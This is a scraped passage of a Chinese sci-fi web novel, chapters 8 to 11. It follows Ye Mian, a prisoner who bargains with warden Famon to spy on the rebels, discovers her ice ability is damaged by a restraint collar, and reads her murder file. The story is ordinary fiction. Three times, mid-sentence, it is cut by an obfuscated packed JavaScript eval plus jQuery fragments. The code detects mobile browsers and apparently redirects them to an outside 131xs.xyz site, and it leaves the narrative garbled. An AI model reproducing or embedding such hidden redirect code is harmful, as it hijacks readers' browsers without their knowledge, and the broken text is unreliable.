“法格里布并没有任何想捞拉米亚纳出狱的意思,至少到现在为止,我没有收到任何消息。”法蒙说。
“因为这本来就是杜撰的呀,”叶眠嘴角带笑,“反抗军不需要知道实情,法格里布内部变动?拉米亚纳本人是否弃子?不重要。只要带着拉米回去,加上我平安离开C监的事实,这就足够有说服力了。”
“而且法格里布只是想避难,拉米本人在哪根本无所谓,甚至等我重新取得反抗军信任后,再把他送回C监都可以。”叶眠势在必得的微笑仿佛焊在脸上。
拉米亚纳·法格里布——新手村的勇者朋友,她要带走。
法蒙想通了其中关节,不得不承认,这套逻辑很完善。
“我只有一个问题。你跟陆风,需要这么多弯弯绕绕吗?”法蒙逼视叶眠的表情,想要看出一丝破绽。
陆风?谁?
叶眠表情不变,内心微惊。
老天奶,这又是哪位啊?
在她的沉默中,法蒙感觉到一丝不对,他眼神加深,似乎要把叶眠整个看穿。
叶眠心想,横也一刀竖也一刀,干!
“不瞒你说,自从我的脑袋插了钢筋,有些事情就记不太清了,”叶眠试图让自己显得更诚实无害一点,甚至扯起身份认知的问题,“我甚至觉得我不是叶绵绵,你能懂吗。”
“记不清了?”法蒙一字一顿地重复。
“是的。比如……陆风是谁?”
在他迫人的目光中,叶眠无辜眨眼。
8. 第 8 章
“你连陆风都不记得了?”法蒙怀疑地说。
叶眠很诚恳:“完全不记得了。”
“……陆风,反抗军指挥使,据我所知,他应该是你的爱人……或者说,情人。”
这些是沈救了叶绵绵之后才告诉他的信息。法蒙此前从没想过,陆风这种身份,竟然会跟人保持稳定的亲密关系,甚至明目张胆到被别人发现。
他眼神微深,向后靠坐了一些,手臂搭在扶手上,观察着叶眠的反应。
?
???
叶眠心中一万把开水壶齐声尖叫。
她被震撼到凝固,表情放空,过了好几秒,才艰难地启用声带:“情……人……?”
叶眠对自己的定位很明确:反抗军马仔。
既然能得到法蒙青眼,在预期中,她原本在反抗军或许能算得上个小管理,但是……
为什么会是指挥使的枕边人啊?!
这让她回去卧底,卧到床上吗?!
“你是真不记得了。”法蒙观察完毕,得出结论。
虽然也没指望她一个女死囚能做到多少,但他还是有些失望。
法蒙耐心有限,来见叶眠就是想确认一下他们的交易。只要她同意,出狱前剩下的事情交给黑兔子做就行,不需要他本人再出马。
他对管理监狱一点兴趣都没有,反正早晚都要离开,非那些力气,不如再去抓几个反抗军。
“我会把那个法格里布跟你一起送出去,没别的事情,我先走了。”法蒙说。
“等一下!”
法蒙起身的瞬间,叶眠也霍然站起。
她一把拉住他的小臂,连珠炮一般说:“既然知道我失忆,还让我毫无准备地回反抗军,做不了什么事不说,被认作冒名顶替又是麻烦一堆,你不怕我鱼死网破吗?”
两人僵持,隔着衬衣,叶眠手心能感受到那条坚实小臂的手感与温度。她没忍住,手指微微一动。
法蒙思路被打断。
“……松手!”他忍无可忍,语气里还带着点不可思议。
她在摸什么?!
叶眠撤回右臂,双手半举,一副投降的姿势:“只是提醒你一下,如果我们好好合作,或许我能发挥出更大的作用。”
“除非你并没有多需要反抗军的消息,那就继续这样无可无不可下去好了。指挥使的情人只有我一个,这是机会,”叶眠停了停,敷衍似地补充,“法蒙先生。”
她说完,突然想到:陆风不会玩多人关系吧?那有点要命了。
好在法蒙没有反驳。
他冷笑一声,抚掉袖子上被叶眠握出的褶皱,表情比几分钟前更冷肃,但动作却是配合地往椅子里一坐。
“现在不是一口一个您的时候了?你的礼貌呢,叶小姐。”他说。
“毕竟也没见你向我展示出你的礼貌,法蒙先生。”叶眠不轻不重地顶了一句。
她不动声色地想,看他这个反应,或许她应该……更放肆一点?
“你需要什么?”法蒙尽量心平气和地说。
“武器,”叶眠不客气地说,“以及信息,跟叶绵绵有关的,还有关于反抗军的,越多越好。”
“你真当自己不是叶绵绵?”法蒙冷冷地说,“没人能逃离自己的过去,就算你抗拒也没用。”
叶眠竖起手指:“不管前面我怎么诈骗的,更正一下,请叫我叶眠。叶绵绵是另一个人,她死了,我们是完全不同的两个人,明白吗?不是‘人无法跟过去的自己共情’这种戏码。”
法蒙再次无视了她的声明。
他对这名女囚实在生不起什么尊重之心。
“关于你跟陆风,其实我了解得也不多,机缘巧合才知道你跟他的关系。”他嘴角一提,眼里毫无笑意,“事先说明,我对你没有偏见,所有的消息都是线人传来。”
叶眠点头:“叶绵绵的事,我不做评判。”
法蒙点开手腕上的终端,扭转方向对着叶眠:“自己看。”
“作为秘书,苦恋指挥使的恋爱脑……倒贴……忠心耿耿……吃住不在一起只偶尔见面,陆风对她态度微妙?”
叶眠想把死去的叶绵绵拽出来,给她两巴掌让她清醒一点。
人人都不看好你,偏偏你最不争气!
入狱后陆风管过什么事?还不是放她坐天等死!
“看明白了?”法蒙轻哼一声。
他本来心情很差,看到叶眠吃了苍蝇一样的表情,竟然感觉好了一些。
“看明白了,我是陆风的温柔小蜜。”叶眠中肯总结。
她见不得法蒙舒服,于是又阴阳怪气:“这个身份,这么近的距离,这么好的机会,你竟然想放养我,暴殄天物。”
“只是近而已,你太小看陆风了,”没想到法蒙不为所动,“一个失忆小蜜的能力,食之无味弃之可惜,如果你的理由是‘英雄难过美人关’,那我无话可说。”
叶眠眼神加深:“你不会认为我的作用只有美色吧?想让我自证价值?想听我表忠心?”
又是这种不受尊重的感觉。
不得不说,法蒙这副高傲的性格,惹人生气很有一套。
法蒙的观点被戳破,但他面上不置可否:“我并不介意。”
“做梦去吧,”叶眠微笑,迅速转换话题,“反抗军的信息呢?”
“在你离开的时候,我会让人给你送来特制的终端,做完处理,信息传输加密。”
“武器?”
“可以给你配枪,但你会用吗?”
“尊敬的法蒙先生,”叶眠有些无奈了,“如果您愿意大发慈悲解开我的项圈,或许就可以不用担心这个问题了。”
项圈……啧。
法蒙的目光在她苍白的脖颈上一触即离:“不可能。”
叶眠耸肩:“会用,我要配枪。弹药管够吗?”
法蒙:“如果你能每个月离开反抗军,我可以派人线下跟你接触。”
“行。”叶眠还算满意。
“还有别的要求吗,叶小姐?”法蒙说出这个称呼的语气略带嘲讽。
“测我的异能活跃等级,”叶眠说,“101没有钥匙,你给我测?”
法蒙皱眉——他没干过这种活。
但是四代环的事情又最好不要透露,他只能说:“我来。”
两人大眼瞪小眼。
叶眠眼神催促:我干什么?
法蒙心想,只要确认她异能正常释放就行。
他拿出钥匙插件,叶眠配合地前倾身体。
与上次完全针锋相对的气氛不同,随着距离拉近,叶眠眼都不眨,法蒙避免不了地和她视线接触。
……她眼下有一颗小痣。
他的手掌碰到她的颈侧,甚至能觉出她的脉搏,平稳地跳动着。
叶眠声音放轻,她稍微侧头,语速很慢:“……插个插件,需要这么慢吗?”
旖旎气氛一触即碎,法蒙眼里划过一丝晦暗。
收回手,他调出控制板:“叶小姐,请。”
叶眠完全
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224739|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有被影响:“我失忆了,你忘了?”
“……连怎么发动异能都忘了?”法蒙眉头一动。
他不得不怀疑,叶眠是在降低他的警惕性。同为A级异能,法蒙不认为叶眠比他更强,但是对他造成伤害的可能性依然存在。
“如果你质疑我的身份,那可以尽管去查,”叶眠无所谓地说,“目前来看,我就是完全失忆了。”
法蒙忍耐地闭了闭眼,重新做好心理建设,这才开口教她:“对于初学者,需要沉心静气,摈除干扰,调动异能与使用你的四肢没有区别,不要把它想得太麻烦。”
叶眠不敢说她觉得有点抽象,遂照做。
沉心静气……调动异能……
她睁开眼,手心微湿。
法蒙皱眉:“你在干什么?”
手汗吗?
叶眠没好气地说:“我就是按你说的做的。”
法蒙看着她空无一物的手心,迷惑道:“再试一次。”
……
半分钟后,叶眠再次睁眼。
她手心出现了一点水珠,但是所谓的冰棱、冰锥连影子都没见着。
叶眠看向法蒙,后者表情微变。
她聪明到通透:“所以是我异能变弱了?”
不知道法蒙想了什么,他放下一句“等着”就去敲了隔壁101的门。
不一会儿他就回来了:“检查员说等这一批轮完。”
叶眠点点头:“所以,我是被禁制环损伤异能的倒霉蛋,而你让我出狱给你当卧底,还不肯给我解环。”
法蒙没说话,态度很明确:他不会退让。
“这跟虐待下属有什么区别?”
臭当官的。
叶眠暗自咬牙,嘴上为他送上一顶高帽,心里已经在想怎么安排火葬场了。
-
【隔壁101】
检查员送走了这批最后一个犯人,把该登记的数据都登记完,疲惫地揉了揉眉心。
她没有第一时间叫隔壁的典狱长和278号过来,而是打开终端,给自己那个还在念书的弟弟发消息。
“你把手里那条四代环送出去了?”
手指敲击桌面,沈舒云心想,我就等两分钟。
一分半过去了,沈舒白的通讯跳出:“怎么了姐?”
通讯里有些嘈杂,他周围有人。
“沈舒白,你知不知道四代环还在测试,特殊个体的异能抵抗说明都没出,你就把它送给法蒙投入使用,什么意思?”
“诶?你怎么知道?噢,C监检查日,把你拉过去了?”
“你别管我怎么知道的,现在的情况是,那个犯人异能好像真受损了,我需要解决方案。”
那头闹出了点声音,似乎是沈舒白在跟人道歉。
然后背景安静下来,他的声线变清晰了不少,语气也没了一开始的欢脱:“这么低概率的事情,怎么这么巧?就一条环,直接命中了?”
“你怎么混在革命党和反抗军中的我不管,但你连学医的初衷都忘了?”沈舒云摘下眼镜,“你就这么看着他把那个人异能荼毒干净吧。”
“……是我考虑不周,”沈舒白短暂失声,然后干脆认错,“我会跟法蒙联系,争取让他把环摘了,但,唉,概率不高。”
“那你就想想怎么给她治好,负起你的责任来,”沈舒云叹气,“如果要异能剥离的是你,你会好受吗?”
她挂断通讯。
门口叶眠探头探脑:“请问……我可以进来了吗?”
9. 第 9 章
“来坐,”沈舒云一改之前的冷淡态度,“我是沈舒云。”
叶眠莫名有种成为小白鼠的感觉,她警惕地坐下。
“入狱犯的什么罪?”
沈舒云决定先查一下成分。
“……杀人。”叶眠诚实地说。
沈舒云有点意外地看她一眼,觉得她还算面善,不像穷凶极恶之徒。
“抽你三管血,分析结果大概两天后发给你,”沈舒云说,“我知道你在监狱里没有通讯方式,但总之,报告会在两天后送到你手上。”
“那我的异能……”
“不介意的话,可以现在展示给我看看,”沈舒云又看了一边信息表,“冰系异能的外现形式大多是凝冰,再强一点范围降冰控场,攻击性辅助性都很不错。”
叶眠好奇地问:“所以同样的冰系异能,也会有等级上的区别吗?”
“是的,级别到A,砸个冰雹还是很轻松的,”沈舒云推推眼镜,很耐心地解释,“为了房子着想,你最好收敛一点。”
叶眠深呼吸,闭眼,双手合十,指尖触及鼻尖,一副十分虔诚的模样。
几秒后她睁眼,摊开手。
手心中,牙签粗细的透明冰棱,大概只有两厘米长,在两个人的眼皮子底下,逃命一样融化了。
叶眠讪讪一笑。
沈舒云欲言又止。
这A级实在是……
“检查员,不瞒你说,我是四代禁制环,典狱长走之前给我开了半个小时权限。”她异能都要没了,四代的事情瞒不住。
“刚解禁的时候,大概只能凝出一点水,然后慢慢地可以造出一点固体,但你也看到了,很快就融化了,明显是数量质量都不合格,一点都不像A级。”
“随着解开禁制的时间延长,异能会逐渐恢复吗?”沈舒云若有所思。
“不知道,没试过,”叶眠叹气,颇为感慨,“监狱长死活不同意给我解开,可能是某种不可告人的岔劈吧,爱看人带choker……唉。”
她指了指自己的脑壳,沈舒云大为震撼。
竟……竟然是这样吗?
怎么能以权谋私呢!
还是得让沈舒白尽快说服法蒙给人把环摘了啊!
-
被背后蛐蛐的法蒙此时已经离开C监。
回市区的悬浮车上,他闭目养神,脑子里不期然划过叶眠缠着绷带的圆润脑瓜,他有点想笑。
都伤成这样了,嘴还那么硬,真有活力。
终端的消息打破了车内的宁静气氛,他意识到自己在想什么,眉头一跳。
沈的通讯申请。
“法蒙,还记得我上次送你的四代环不?”对面少见的有点吞吞吐吐。
“怎么了?”
说到四代环就要扯上叶绵绵,法蒙不动声色地拉了拉领带。
“四代环的异能抵抗报告快出来了,实验版要回收。”沈舒白想了个借口,自己都觉得有点牵强。
“你就说这条损毁了,实验室不会怪罪的。”法蒙现在觉得,把它用在叶眠身上真是个完美的决定,他没意识到,自己的心态已经悄然变化。
“不好吧,”沈舒白犹豫着说,“主要是第四代环的副作用不清晰,万一真给人把异能抵抗掉了,叶绵绵那种性格……会崩溃吧?很危险啊,兔子逼急了都会咬人的。”
他这还带着点不确定呢,没想到对面的法蒙一声嗤笑:“你的情报出了点差错。”
“嗯?不可能啊?”沈舒白反驳,“她跟陆风相处我是亲眼看到的。”
“我跟叶绵绵见了两面,”法蒙彻底扯松了领带,“挺有意思一人,有点小聪明,还有点野。”
……?
沈舒白一瞬间以为自己听错了。
“你没事吧?”他真诚发问。
“没事。等她回反抗军,你多关注一下。”
“嗯哼,行。”沈舒白应下,一边苦逼地想:就算你不让我关注我也得关注啊,我姐都下死命令了,万一你给人异能折腾没了,我还得想办法挽救一下。
法蒙:“我准备让她每月给刘仁交汇报,如果刘仁有事,就让她交给你。”
刘仁是法蒙的直属心腹,跟他一起回首都星,到现在,没休过一天。
“刘仁已经忙死了,天啊。”沈舒白感慨。
“拿钱办事,”法蒙冷酷无情地说,“还有,关于德里克跟反抗军指挥使的事情,有查到什么眉目吗?”
“我说尊敬的法蒙先生,你刚委托我一天,我只是个医生,又不是你手底下那种特工!”沈舒白大声抗议,一边收拾东西,准备趁假期搬去反抗军基地常驻。
“你跟特工也没差了,挂了。”
沈舒白叹气。
这位年轻的中将做事实在雷厉风行,连带着革命党的作风都肃然可畏。
“过刚易折啊,过刚易折。”他念叨着,想起来叶绵绵的血样,顺手给沈舒云发了个新地址。
他对叶绵绵的研究会在反抗军基地展开。
“如果研究出来针对异能抵抗的特效药,能不能再发个silence或者nonsense呢?”沈舒白苦中作乐地想。
——他的第一篇NS发的是生长因子。可惜,那玩意需要用到他自己的异能,没法量产。
-
“怎么耽误这么久?”胖子很讲义气,撑着把遮阳伞在门口等她。
“异能出了点问题。”叶眠也没藏着掖着,挤到了他的伞下。
虽然从她醒来到现在,从来不知道正常使用异能是什么效果,但被束缚局限的感觉还是很不美妙,更别提可能还面临着永久丢失异能的风险——法蒙,啧。
“什么?!”胖子惊讶,“那你现在……”
他有点不敢说,怕伤了叶眠的心。
“没事儿,”叶眠反倒看得开一些,“只要不是永久的就行。”
等她出去,杀了法蒙,什么都好说。
叶眠表面笑意盈盈,一点不像在拉表暗杀名单的模样。
“那就好……也不太好啊。”胖子忧心忡忡,很快就是二次审判,叶眠这个马上要死刑的,比他这个出不了狱的更惨一点。
“我有办法的,别担心。”叶眠猜到他在担心什么,宽慰说。
王五招呼他们回医院。
“保卫先生,我能问个问题吗?”叶眠跟在他身后,很是乖巧可人。
王五因为那晚上的暴动,对她观感还不错:“怎么了?”
“监狱里有什么办法能查卷宗吗?”
“想查别人的肯定不行,如果你想看自己的卷宗,我之后给你带去医院。”王五说。
叶眠大喜:“多谢!多谢!”
“怎么了?又在想自己杀人入狱的事情了?”胖子凑过来跟她说悄悄话。
“怎么叫又?”叶眠不解。
胖子:“你在钢筋入脑之前,天天说你杀人有隐情、会有人救你的,像在念经,很瘆人。”
叶眠沉思。
有人救“我”?感觉代入一下叶绵绵的人设,似乎能期待的只有陆风了。
“还有你当时的性格,和你杀256号爆发的武力值,感觉不太匹配,”胖子一口气说摸了摸胳膊上的鸡皮疙瘩,“现在性格倒是更好一点。”
叶眠婉拒:“不必迷恋姐,姐只是个传说。”
“不是姐们儿……”胖子无语。
所以我跟叶绵绵到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224740|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底什么关系?
256号,一个赏金猎人,他背后又是谁的命令?
陆风、法蒙,一个个的似乎都不把她当人看,捞着机会就使唤她。
“唉,”叶眠叹气,“烦。”
“心烦长结节,”胖子想起什么,在口袋里掏了半天,献宝一样拿出来一个纸袋,“看!”
“什么好东西?”叶眠配合地说。
“肉松馅的面包!”不过稍微有点挤了。
“哇!”叶眠惊叹,“你生的?给我的?”
“什么叫生的!通用语文盲!”胖子不满,“测异能的时候,做了三个,给了检查员一个,我们一人一个。”
“好兄弟!”叶眠眼泪汪汪,接过来一口咬掉半个。
“怎么样!好吃吗!”胖子一脸期待。
……好像盐放少了?
或者说,放盐了吗?
叶眠闭上眼慢慢咀嚼:“嗯……嗯……不错!好吃!”
不管怎样,比起C监医院的饭,胖子手作面包嚼劲十足,面香充斥口鼻,肉松细腻,口感层次丰富。
胖子自豪地一竖大拇指:“不愧是我!”
叶眠一口吃掉剩下半个,眼珠一转:“胖子,考不考虑多做点。”
胖子脸一垮,拉了拉自己脖子上的禁制环:“有这个呢。”
“我既然能打开我的二级禁制环,肯定也能打开你的,”叶眠脑子转得飞快,“反正我们也不干别的,只是做两个面包改善伙食……”
“咳咳。”王五清了清嗓子。
“保卫先生也想吃!”叶眠给出一个肯定的眼神。
胖子犹犹豫豫:“真的吗?”
“我说你们两个,”王五无奈,“尊重一下监狱规则吧,我怎么说也算得上在编狱警啊!”
叶眠作势给嘴巴拉上拉链,示意胖子回去再说。
-
等护士晚上来给叶眠换药的时候,正好看到她一手把东西往枕头下面藏。
“什么东西?”她说。
“没什么啦。”叶眠眼神飘忽。
护士抢出来一看,原来是一根不知道哪里找到的铁丝。
她不解:“你现在的禁制环不是这种东西能戳开的,怎么还不放弃?”
叶眠小声说:“监狱犯太难吃了,我朋友异能可以手搓面包。”
她试了一个下午,唯一的收获是禁制环内置芯片,不跟铁手镯一样好糊弄。所以她没有轻举妄动,生怕真给胖子戳开了又给他添麻烦。
“你省省吧,”护士拍了她一下,“禁制环解开会触发报警的,你上次不就是这么被抓的?”
叶眠“唉”了一声。
“王五说你要看卷宗,让我给你捎过来,”护士放下一本电子书,警告地说,“没有联网功能。”
叶眠被看穿,有些讪讪:“好吧,谢谢你。”
换完药,护士又放下四瓶止痛,被叶眠放了三瓶回车子里。
她挑眉:“不怕疼了?”
叶眠摇头:“抗药性越来越强了,我吃这个东西跟糖豆一样,已经几乎没用了。”
说实话,她觉得自己痊愈得似乎有点快,但因为没有对比样本,所以暂时没提。
“可怜的叶眠,”护士按照惯例摸摸她头顶,“铁丝我带走了。”
送别护士,叶眠打开了电子书。
里面只有一个文本文件,封面带着水印和红章,标题是《C监278号犯人入狱卷宗》。
她抱着看好戏的心情点开第一页。
犯人姓名:叶绵绵
罪名:谋杀
受害人:蒋仕临(前审判长)
啊?谁?
叶眠瞳孔地震!
10. 第 10 章
经过前几天的学习,叶眠已经充分理解了联盟的权力分配。
联盟的直接下属有几大板块,除了议会和军部,最重要的一部分就是审判庭。
审判长是什么人?审判庭的头头儿。
联盟的一把手是主席。四舍五入,审判长是全联盟二把手之一。
叶绵绵,杀了前审判长?
叶眠的第一反应是,杀了审判长,竟然只判八十年?
随后她意识到,叶绵绵的身份似乎比她想得更复杂。
什么人才能接触到审判长?
叶绵绵甚至能突破蒋仕临的安保把他宰掉,卷宗里明晃晃的“谋杀”二字彰示着她的成功。
有点东西啊,绵绵。
她按下心潮澎湃,翻到第二页。
“加密档案,具体细节不予公开。”
叶眠瞪眼。
她一口气往后翻了十几页,每页都是这几个字。
布什格们?
假饵钓鱼?!
使尽浑身手段,加密卷宗也看不出什么东西,叶眠暂时没辙了,她收起阅读器,觉得自己今晚一定睡不好了。
事实上,她也确实没睡好。
梦里,叶眠睁眼,先呆了一下。
又是大火。
热浪逼人,像是要把她做成烤肉干。
这次梦的实感更重,她竟然连身体都有了,痛觉什么的更是一应俱全。火烧火燎的感觉无处不在,热气蒸得她双眼刺痛、脸颊发红。
叶眠在心里骂爹,这梦做得这么逼真,又不真烧死她,除了折磨没有任何作用。
等等,逼真?
她灵机一动,一摸脖子,果然没有禁制环!
那……试试?
叶眠虔诚地想:
冰系异能,你崛起吧!
火舌攀附到衣摆,叶眠单手在胸口虚握。
三秒后,手心一抹凉意,湿滑寒冷的手感回传到大脑,叶眠惊奇地低头:一把半米长的透明短冰锥,赫然出现在她手心。
锥柄握在手中,护手之后的锥身利落收束,流畅的外形彰显着它作为武器的优越资质。锥尖滑出一滴水,将落不落地挂着,很快就消失在高温里。
五指合拢,叶眠甚至能感受到,锥柄在体温和环境高温中融化变细的过程。水汽蒸腾,虽然暂时对这场无边大火没什么作用,但这是叶眠第一次成功使用异能。
丝滑,顺畅,得心应手。
真就像法蒙所说,如同动用自己的四肢。
冰锥很快被高温融化到不留痕迹,如果不是这场火烧了这么久还没把她烧死,叶眠简直要怀疑这到底是梦还是现实。
太诡异了。
她一边想,一边再次调动异能。
五指一搓,三把冰锥出现在指缝,叶眠明显地感受到一点滞涩和疲惫——四把冰锥,就是她现在的极限了。
一模一样的锥体,中芯带着点深蓝色。像第一把冰锥一样,它们在叶眠的注视下变成水汽,消失得无影无踪。
叶眠若有所思。
她拍了拍身上沾上的火,意外发现身上的衣服有些像她见到的C监囚服。同样脏兮兮,破破烂烂,但版型上不太一样。
难道跟这个梦的背景和内容有关吗?
她试探性地踏出一步。
烫!
紧急避险,叶眠瞬间把脚缩回,痛苦面具一带,半天才缓过来。
她没有鞋,赤脚踩到地板,没想到比刚刚站的位置要热上不少。脚底通红,但没什么实质性的伤痕。
古怪。
叶眠左右尝试了一下,半径三十厘米内,地板温度属于烫脚、但能忍受,而这之外,就不是她现在能轻易触碰的了。
作为一个天生疼痛感知超敏的人,叶眠不允许自己没苦硬吃,想来想去,决定还是先呆在原地。
她把这个地方起名为出生点一号,原地一坐。
热,但还好。
就当给屁股做热疗了。
休息了一会儿,叶眠感觉自己又行了,于是她再次调出异能,凝出掌心大小的冰块,双手合握。
爽,可惜她们没法地久天长。
叶眠卡着三十厘米的边缘,恋恋不舍地把冰块往地上一放。冰块“滋滋”地消失了,留下浅到几乎看不清的水痕,很快就彻底消失,仿佛那块冰从没存在过一样。
她心里冒出一个想法:如果冰足够多……是否可以扑灭这场火?
古怪古怪。
这个梦似乎没有危险性,除了灼伤的疼痛外,她能做的似乎只有发呆和玩她的异能。
叶眠睡也睡不着,走也走不掉,干脆卡着自己的异能缓冲时间,休息一会儿就捏一块冰出来,拿在手里爽一下,然后丢出去。
最后得出结论:细水长流的冰块,对抗不了熊熊燃烧的大火。
那如果,异能水平可以提升呢?
她现在只能一口气凝出小半立方米的冰,然后就会陷入疲乏状态。如果她可以一口气凝出五方、十方、一百方的冰呢?
她想:等这个梦结束出去问问吧。
大火中的时间流速变得很奇怪,叶眠不知道重复了这个丢冰块的动作多少次,终于……
天亮了。
叶眠眼下挂着黑眼圈,感觉自己这一觉,睡了跟没睡一样。
依然是固定的流程。换药,扎针,吃饭,看电视。
胖子奇怪地说:“你怎么不吃止疼片了?”
叶眠吃止痛跟吃糖一样,但从昨天开始就一片不吃了。
叶眠轻轻地摸了摸自己的脑壳,还是不敢用力:“今早护士姐说我身体愈合速度挺快,可能是生长因子的作用,已经没怎么疼了。”
她还担心自己建立永久抗药性,以后再受重伤怎么办?生生痛死?
胖子羡慕:“生长因子能治先天白化吗?我这样还是挺不方便的。”
“但很帅啊,别人要金毛还得特意染,你少走五百块弯路。”叶眠鼓励道。
胖子的瞳孔是浅蓝色的,必须带隐形眼镜才有正常视力,出门要打伞防晒,体质也比常人更弱。
他哼唧两声:“我爸说我这个样子当不了继承人。”
“以貌取人,这是要走打脸剧本啊。”叶眠拍了拍他的手臂。
“别说我了,你这又是怎么回事,昨天晚上熬夜了?”
叶眠想起正经事,她狗狗祟祟地说:“你知道蒋仕临吗?”
“知道啊,前审判长,”胖子说,“刚死没多久,说是被心腹暗杀了。”
心腹??
叶眠心中一紧。
她不会在蒋仕临手下还有点什么身份吧?
“但其实,我还听到了一个说法,”说到八卦,胖子也来劲了,“他是被他儿媳毒死的。”
儿媳??
叶眠身上炸起一层鸡皮疙瘩。
还不如心腹呢!
胖子煞有介事:“据说他这个儿媳妇是别人强塞来的,就为了换个议会席位。人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224741|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嫁过去两年,啥事也没干,就给那老头子下毒了,最后,呐呐呐,一波毒发,一击致命,蒋仕临直接死家里了,救都没得救。”
两年的话,那应该不至于了。好歹跟陆风还有段关系摆在那呢,叶绵绵总不至于婚内出轨、或者背着陆风嫁人吧?
“她还挺能忍的。”事不关己,叶眠客观评价了一句。
“可不是!”胖子拍案,“听说蒋家父子性格古怪,那姑娘定是遭了什么折辱,忍气吞声,终于奋起反抗。唉,不知道她现在怎么样了。”
越来越离谱了。
“恶有恶报,”叶眠敷衍一句,提到她更关心的,“那蒋家的儿子呢?”
如果没有错判,那可是对她有杀父之仇的余孽,叶眠担心他一头热血要替父报仇。
“蒋钰?纨绔子弟,不值一提,”胖子不以为意地说,“没了他爹,我看他也成不了什么气候。”
叶眠这下放心了:“行。”
“欸,对,他的异能用药堆上了B+,也不能说完全不中用吧,”胖子突然想起来,“但蒋仕临死得突然,根本没做交接,蒋钰又不参军,拿不到军功,我看他晋升是难了。”
叶眠关注到第一句:“异能等级能提升?”
“很玄乎。联盟有专门的异能研究室,每年都会发出来点东西,比如提升异能等级的药啊,比如禁制环啊,这都是他们研究的。”
“就没什么正常的提升手段吗?”
胖子疑惑:“咋了,你要练异能?带着环还想练异能?”
叶眠拍他一下:“学习一下不行吗?怎么说话的你。”
胖子捂头“哎呦”一声:“主要你最近很多常识都不知道了,很诡异,懂吗?”
“那没办法,我伤着脑袋了,是人是鬼有病没病,我就这样了,你跑不掉了桀桀桀。”叶眠邪魅一笑。
胖子欲言又止,止言又欲。
“唉,按理说我该高兴的,但你,唉,我报说。”
“谢主隆恩就行,”叶眠一笑揭过,“快说,异能提升的常规办法。”
“怎么练肌肉就怎么练异能呗,抗阻训练和耐力训练,”胖子说,“人人异能的年代,异能就像人的第三只手,练异能的不少见,但等级突破就比较看运气了。”
“A级以上……”
“S级,”胖子两眼放光地打断,“目前公开身份的,全星系只有一个人!”
“谁啊?”叶眠生出点好奇。
或许这份好奇里还掺着点好胜,叶眠感受到自己加快的心跳在叫嚣。
胖子眉飞色舞:“传说中的那一位,帝国皇帝。”
皇帝啊……
叶眠摸了摸下巴,结果碰到刀伤,忍不住“嘶”了一声。
“帝国跟联盟不是敌对关系吗?你咋这样。”
“无关立场,单纯个人崇拜。”胖子很坚定。
叶眠脑筋一转,说:“你不会是想效仿他这个‘流落荒星十几年,回宫即位后,杀穿半个星系’的经历吧?”
皇帝的故事胖子之前给她讲过了。
没想到,胖子双眼一瞪,在叶眠眼皮子底下——红温了。
得,猜中了。
“这一次,你要把属于你的全部夺回来?”叶眠试探说。
胖子小声接:“让所有看不起我的人都付出代价,把被夺走的荣耀与尊严,一并拿回来!”
叶眠肃然起敬,比了个大拇指。
理想远大!不愧是她的勇者朋友!
11. 第 11 章
胖子本人的异能没有战斗效果,但理论知识一点都没少学。跟胖子在输液室待到中午,叶眠感觉自己对异能的理解更深了。
下午,叶眠决定补觉。
晚上,叶眠继续补觉。
她以为自己会再次梦到火灾,结果一觉睡到天明。
起来后她思索半晌,觉得这个梦应该算随机出现。
要是能控制频率就好了,除了需要补觉这个坏处,她完全可以带着禁制环练异能。
就像某些文章里的主角,拥有控制时间流速的法器,苦修百年、现实一天……她是真的很想成为S级异能者啊!
护士拿来一个文件袋。
“我的?”叶眠从畅想中脱离出来
“你的,署名是异能研究院。现在纸质材料很少见了,研究院真是财大气粗。”护士说。
叶眠拆开封条,里面是她的异能检测报告。
掠过密密麻麻的指标,叶眠的目光落在最后。
“样本异能抵抗反应评级为最高级,60%概率可致永久性丧失,应尽快摘除禁制环。样本体内的封锁抗体含量高于人类平均水平7000倍,当前的剧烈抵抗状态,可能源于四代的持续注射物重新激活了封锁抗体。”
封锁抗体?
叶眠往前翻,在某一页看到了这一项指标及注解。
——封锁抗体是前两代禁制环特有的化学成分,通过微注射达到压制异能水平的效果,具有时效性。失效后不会随代谢离开人体,但对人体无害。
叶绵绵曾长时间佩戴前两代禁制环……?
为什么?
叶眠皱眉翻回最后,还有一行手写的批注。
“叶小姐,我是沈舒云,这是我的星网id,有任何需要可以随时联系我。如果您方便的话,可以固定频率邮寄血样至地址:……,您的血样对目前关于禁制环的研究有重要意义。”
叶眠也没想到,偶遇的检查员竟然是异能研究院的研究员。
她摸了摸下巴。
